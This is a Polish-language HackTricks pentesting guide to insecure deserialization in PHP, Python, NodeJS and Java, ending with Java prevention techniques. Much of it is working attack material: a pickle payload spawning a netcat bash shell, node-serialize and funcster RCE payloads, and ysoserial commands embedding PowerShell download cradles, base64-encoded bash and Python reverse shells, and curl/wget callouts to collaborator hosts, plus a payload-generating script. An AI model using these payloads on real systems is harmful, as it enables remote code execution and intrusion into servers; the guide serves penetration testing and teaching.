hacktricks/pentesting-web/deserialization/README.md
2024-02-11 01:46:25 +00:00

53 KiB

Deserializacja

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Serializacja jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go w ramach procesu komunikacji. Ta technika jest często stosowana, aby zapewnić, że obiekt może zostać odtworzony w późniejszym czasie, zachowując jego strukturę i stan.

Deserializacja, z kolei, jest procesem przeciwdziałającym serializacji. Polega na pobieraniu danych, które zostały sformatowane w określonym formacie i odtwarzaniu ich w postaci obiektu.

Deserializacja może być niebezpieczna, ponieważ potencjalnie umożliwia atakującym manipulowanie danymi zserializowanymi w celu wykonania szkodliwego kodu lub wywołania nieoczekiwanego zachowania w aplikacji podczas procesu odtwarzania obiektu.

PHP

W PHP, podczas procesów serializacji i deserializacji wykorzystuje się specjalne metody magiczne:

  • __sleep: Wywoływana podczas serializacji obiektu. Ta metoda powinna zwracać tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Jest ona często używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.
  • __wakeup: Wywoływana podczas deserializacji obiektu. Służy do ponownego nawiązania połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań inicjalizacyjnych.
  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje ona większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.
  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj jest ona używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
  • __toString: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji wewnątrz niej, efektywnie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Jeśli spojrzysz na wyniki, zobaczysz, że funkcje __wakeup i __destruct są wywoływane podczas deserializacji obiektu. Zauważ, że w wielu samouczkach znajdziesz informację, że funkcja __toString jest wywoływana podczas próby wydrukowania pewnego atrybutu, ale wygląda na to, że to już nie ma miejsca.

{% hint style="warning" %} Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup(), jeśli jest zaimplementowana w klasie. Pozwala na odszeregowanie obiektu, dostarczając dane seryjne jako tablicę. Możesz użyć tej metody do odszeregowania właściwości i wykonania wszelkich niezbędnych czynności podczas deserializacji.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Możesz przeczytać wyjaśniony przykład PHP tutaj: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, tutaj https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf lub tutaj https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Możesz wykorzystać funkcjonalność automatycznego ładowania klas PHP do ładowania dowolnych plików PHP i więcej:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializowanie wartości referencyjnych

Jeśli z jakiegoś powodu chcesz zserializować wartość jako referencję do innej zserializowanej wartości, możesz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial dla PHP)

PHPGGC może pomóc w generowaniu payloadów do wykorzystania deserializacji w PHP.
Należy zauważyć, że w wielu przypadkach nie będzie możliwe znalezienie sposobu na wykorzystanie deserializacji w kodzie źródłowym aplikacji, ale można wykorzystać kod zewnętrznych rozszerzeń PHP.
Jeśli to możliwe, sprawdź phpinfo() na serwerze i poszukaj w internecie (nawet w gadżetach z PHPGGC) możliwych gadżetów, które można wykorzystać.

Deserializacja metadanych phar://

Jeśli znalazłeś LFI, który tylko czyta plik, ale nie wykonuje w nim kodu PHP, na przykład za pomocą funkcji takich jak file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize(). Możesz spróbować wykorzystać deserializację, która występuje podczas odczytu pliku za pomocą protokołu phar.
Aby uzyskać więcej informacji, przeczytaj następujący post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Gdy obiekt zostanie odtworzony, zostanie wykonana funkcja __reduce__.
Podczas eksploatacji serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Aby uzyskać więcej informacji na temat ucieczki z więzień pickle, sprawdź:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Na następnej stronie przedstawiona jest technika wykorzystania niebezpiecznej deserializacji w bibliotekach pythona obsługujących yamle i kończy się narzędziem, które można użyć do generowania ładunków deserializacji RCE dla Pickle, PyYAML, jsonpickle i ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Zanieczyszczenie klasy (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Magiczne funkcje JS

JS nie posiada "magicznych" funkcji takich jak PHP lub Python, które są wykonywane tylko w celu utworzenia obiektu. Ale ma kilka funkcji, które są często używane nawet bez bezpośredniego ich wywoływania, takich jak toString, valueOf, toJSON.
Jeśli wykorzystasz deserializację, możesz zagrażać tym funkcjom, aby wykonać inny kod (potencjalnie wykorzystując zanieczyszczenie prototypów), co pozwoli Ci wykonywać dowolny kod podczas ich wywoływania.

Innym "magicznym" sposobem na wywołanie funkcji bez bezpośredniego jej wywoływania jest zagrażenie obiektowi zwracanemu przez funkcję asynchroniczną (promise). Ponieważ, jeśli przekształcisz ten obiekt zwracany w inny promise o właściwości o nazwie "then" o typie funkcji, zostanie on wykonany tylko dlatego, że jest zwracany przez inny promise. Kliknij ten link aby uzyskać więcej informacji.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Zanieczyszczenie __proto__ i prototype

Jeśli chcesz dowiedzieć się więcej o tej technice, zapoznaj się z poniższym samouczkiem:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Ta biblioteka umożliwia serializację funkcji. Przykład:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Obiekt zserializowany będzie wyglądał jak:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

W przykładzie widać, że gdy funkcja jest serializowana, do obiektu serializowanego dodawana jest flaga _$$ND_FUNC$$_.

W pliku node-serialize/lib/serialize.js można znaleźć tę samą flagę i sposób, w jaki jest ona używana w kodzie.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, używane jest eval do deserializacji funkcji, więc w zasadzie wejście użytkownika jest używane wewnątrz funkcji eval.

Jednakże, tylko serializacja funkcji nie spowoduje jej wykonania, ponieważ konieczne jest, aby jakiś fragment kodu wywoływał y.rce w naszym przykładzie, co jest mało prawdopodobne.
W każdym razie, można po prostu zmodyfikować serializowany obiekt, dodając nawiasy w celu automatycznego wykonania zdeserializowanej funkcji, gdy obiekt zostanie zdeserializowany.
W następnym fragmencie kodu zauważ ostatni nawias i sposób, w jaki funkcja unserialize automatycznie wykonuje kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Jak wcześniej wspomniano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go za pomocą eval. Aby automatycznie wykonać kod, można usunąć część tworzenia funkcji oraz ostatnie nawiasy i wykonać jednolinijkowy kod JS, jak w poniższym przykładzie:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Możesz znaleźć tutaj dodatkowe informacje na temat sposobu wykorzystania tej podatności.

funcster

Warto zauważyć, że funcster nie ma dostępu do standardowych wbudowanych obiektów; wypadają one poza zakresem dostępnym. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na wbudowanych obiektach, co prowadzi do wystąpienia wyjątków, takich jak "ReferenceError: console is not defined", gdy używane są polecenia takie jak console.log() lub require(something).

Mimo tego ograniczenia, przywrócenie pełnego dostępu do globalnego kontekstu, włącznie ze wszystkimi standardowymi wbudowanymi obiektami, jest możliwe dzięki określonemu podejściu. Wykorzystując bezpośrednio globalny kontekst, można ominąć to ograniczenie. Na przykład, dostęp można przywrócić za pomocą poniższego fragmentu kodu:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji, przeczytaj ten źródło.

serialize-javascript

Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serializacji i nie posiada wbudowanych funkcji deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. Oficjalny przykład deserializacji zaleca bezpośrednie użycie eval:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Jeśli ta funkcja jest używana do deserializacji obiektów, można ją łatwo wykorzystać:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Aby uzyskać więcej informacji, przeczytaj ten źródło.

Biblioteka Cryo

Na następnych stronach znajdziesz informacje na temat tego, jak wykorzystać tę bibliotekę do wykonania dowolnych poleceń:

Java - HTTP

W Javie wywoływane są zwroty deserializacji podczas procesu deserializacji. Ten proces można wykorzystać, tworząc złośliwe dane, które wywołują te zwroty, co prowadzi do potencjalnego wykonania szkodliwych działań.

Odciski palców

White Box

Aby zidentyfikować potencjalne podatności na serializację w kodzie, wyszukaj:

  • Klasy implementujące interfejs Serializable.
  • Użycie funkcji java.io.ObjectInputStream, readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami zdefiniowanymi przez zewnętrznych użytkowników.
  • Metoda fromXML w XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
  • ObjectInputStream w połączeniu z metodą readObject.
  • Implementacja metod takich jak readObject, readObjectNodData, readResolve lub readExternal.
  • ObjectInputStream.readUnshared.
  • Ogólne użycie Serializable.

Black Box

Podczas testów black box, poszukaj konkretnych sygnatur lub "Magicznych bajtów", które wskazują na obiekty serializowane w Javie (pochodzące z ObjectInputStream):

  • Wzorzec szesnastkowy: AC ED 00 05.
  • Wzorzec Base64: rO0.
  • Nagłówki odpowiedzi HTTP z ustawionym Content-type na application/x-java-serialized-object.
  • Wzorzec szesnastkowy wskazujący na wcześniejszą kompresję: 1F 8B 08 00.
  • Wzorzec Base64 wskazujący na wcześniejszą kompresję: H4sIA.
  • Pliki internetowe z rozszerzeniem .faces i parametrem faces.ViewState. Odkrycie tych wzorców w aplikacji internetowej powinno skłonić do dokładnego zbadania, jak opisano w poście dotyczącym deserializacji Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa atak deserializacji w Javie, powinieneś zapoznać się z Podstawową deserializacją w Javie, Deserializacją DNS w Javie i Payloadem CommonsCollection1.

Test białej skrzynki

Możesz sprawdzić, czy zainstalowana jest jakaś aplikacja znanymi podatnościami.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki, które są znane z podatności i dla których Ysoserial może dostarczyć exploit. Możesz również sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz również użyć narzędzia gadgetinspector, aby wyszukać możliwe łańcuchy gadżetów, które mogą być wykorzystane.
Podczas uruchamiania gadgetinspector (po jego zbudowaniu) nie przejmuj się ilością ostrzeżeń/błędów, przez które przechodzi, i pozwól mu zakończyć. Wszystkie znalezione informacje zostaną zapisane w pliku gadgetinspector/gadget-results/gadget-chains-rok-miesiąc-dzień-godzina-minuta.txt. Należy jednak zauważyć, że gadgetinspector nie tworzy exploitu i może wskazywać fałszywe pozytywy.

Test Black Box

Za pomocą rozszerzenia Burp gadgetprobe można zidentyfikować, które biblioteki są dostępne (a nawet ich wersje). Dzięki tym informacjom łatwiej będzie wybrać payload, który wykorzysta podatność.
Przeczytaj więcej na temat GadgetProbe.
GadgetProbe skupia się na deserializacji ObjectInputStream.

Za pomocą rozszerzenia Burp Java Deserialization Scanner można zidentyfikować podatne biblioteki, które można wykorzystać za pomocą ysoserial i wykorzystać je.
Przeczytaj więcej na temat Java Deserialization Scanner.
Java Deserialization Scanner skupia się na deserializacji ObjectInputStream.

Możesz również użyć narzędzia Freddy, aby wykryć podatności związane z deserializacją w Burp. Ten plugin wykryje podatności związane nie tylko z deserializacją ObjectInputStream, ale także z bibliotekami deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić, używając opóźnień lub payloadów DNS.
Więcej informacji na temat Freddy znajdziesz tutaj.

Test serializacji

Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz mieć możliwość zmiany danych wewnątrz obiektu zserializowanego i obejścia niektórych kontroli (może to dać ci uprawnienia administratora w aplikacji internetowej).
Jeśli znajdziesz obiekt zserializowany w języku Java, który jest wysyłany do aplikacji internetowej, możesz użyć narzędzia SerializationDumper, aby wydrukować w bardziej czytelnej formie obiekt zserializowany, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.

Exploit

ysoserial

Głównym narzędziem do wykorzystywania deserializacji w języku Java jest ysoserial (pobierz tutaj). Możesz również rozważyć użycie ysoseral-modified, co pozwoli ci używać bardziej skomplikowanych poleceń (np. z użyciem potoków).
Należy zauważyć, że to narzędzie jest skoncentrowane na wykorzystywaniu ObjectInputStream.
Zalecam rozpoczęcie od payloadu "URLDNS" przed payloadem RCE, aby sprawdzić, czy wstrzyknięcie jest możliwe. Należy jednak zauważyć, że payload "URLDNS" może nie działać, ale inny payload RCE może działać.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Podczas tworzenia payloadu dla java.lang.Runtime.exec() nie można używać znaków specjalnych, takich jak ">" lub "|" do przekierowania wyniku wykonania, "$()" do wykonania poleceń, ani nawet przekazywać argumentów do polecenia oddzielonych spacjami (można użyć echo -n "hello world", ale nie można użyć python2 -c 'print "Hello world"'). Aby poprawnie zakodować payload, można użyć tej strony internetowej.

Możesz swobodnie użyć następującego skryptu do utworzenia wszystkich możliwych payloadów do wykonania kodu dla systemów Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection razem z ysoserial, aby tworzyć więcej exploitów. Więcej informacji na temat tego narzędzia znajdziesz w slajdach prezentacji, w której narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec można użyć do generowania payloadów w celu wykorzystania różnych bibliotek serializacji Json i Yml w języku Java.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj Maven i skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Dowiedz się więcej o tej bibliotece JSON dla Javy: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java szeroko wykorzystuje serializację w różnych celach, takich jak:

  • Żądania HTTP: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, ViewState, cookies itp.
  • RMI (Remote Method Invocation): Protokół Java RMI, który opiera się wyłącznie na serializacji, jest fundamentem dla komunikacji zdalnej w aplikacjach Java.
  • RMI przez HTTP: Ta metoda jest powszechnie stosowana przez aplikacje internetowe oparte na grubej warstwie klienta w Javie, wykorzystując serializację do komunikacji obiektów.
  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
  • Niestandardowe protokoły: W Javie standardową praktyką jest przesyłanie surowych obiektów Javy, co zostanie zademonstrowane w kolejnych przykładach wykorzystania.

Zapobieganie

Obiekty tymczasowe

Klasa implementująca Serializable może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować interfejs Serializable

W przypadkach, gdy pewne obiekty muszą implementować interfejs Serializable ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty są niemożliwe do deserializacji, definiując metodę final readObject(), która zawsze zgłasza wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Wzmacnianie bezpieczeństwa deserializacji w Javie

Dostosowywanie java.io.ObjectInputStream to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy:

  • Kod deserializacji jest pod Twoją kontrolą.
  • Znane są klasy oczekiwane do deserializacji.

Nadpisz metodę resolveClass() w celu ograniczenia deserializacji tylko do dozwolonych klas. Zapobiega to deserializacji dowolnej klasy, z wyjątkiem tych, które są wyraźnie dozwolone, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Używanie agenta Java do poprawy bezpieczeństwa oferuje rozwiązanie awaryjne, gdy nie jest możliwa modyfikacja kodu. Ta metoda dotyczy głównie czarnolistowania szkodliwych klas, przy użyciu parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niemożliwe.

Sprawdź przykład w rO0 by Contrast Security

Wdrażanie filtrów serializacji: W Javie 9 wprowadzono filtry serializacji za pomocą interfejsu ObjectInputFilter, zapewniając potężny mechanizm określania kryteriów, które muszą spełniać obiekty serializowane przed deserializacją. Filtry te mogą być stosowane globalnie lub dla każdego strumienia, oferując precyzyjną kontrolę nad procesem deserializacji.

Aby skorzystać z filtrów serializacji, można ustawić globalny filtr, który będzie stosowany do wszystkich operacji deserializacji, lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystywanie zewnętrznych bibliotek dla zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontroli i monitorowania deserializacji w języku Java. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak tworzenie listy dozwolonych lub niedozwolonych klas, analizowanie obiektów zserializowanych przed deserializacją oraz implementowanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji w celu zapobiegania wykonaniu niezaufanego kodu.
  • jdeserialize umożliwia analizę obiektów zserializowanych w języku Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.
  • Kryo to alternatywna biblioteka do serializacji, która skupia się na szybkości i wydajności, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Referencje

Wstrzykiwanie JNDI i log4Shell

Dowiedz się, czym jest wstrzykiwanie JNDI, jak go nadużywać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell (oraz przykład tej podatności) na następnej stronie:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

Java Message Service (JMS) to interfejs programowania aplikacji dla middleware obsługującego komunikację międzykomponentową w oparciu o przesyłanie komunikatów. JMS jest częścią platformy Java Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną przez Sun Microsystems, a następnie rozwijaną przez Java Community Process. Jest to standard komunikacji, który umożliwia komponentom aplikacji opartym na Java EE tworzenie, wysyłanie, odbieranie i odczytywanie komunikatów. Pozwala na komunikację między różnymi komponentami rozproszonej aplikacji, która jest luźno powiązana, niezawodna i asynchroniczna. (Z Wikipedia).

Produkty

Istnieje kilka produktów wykorzystujących ten middleware do wysyłania komunikatów:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Eksploatacja

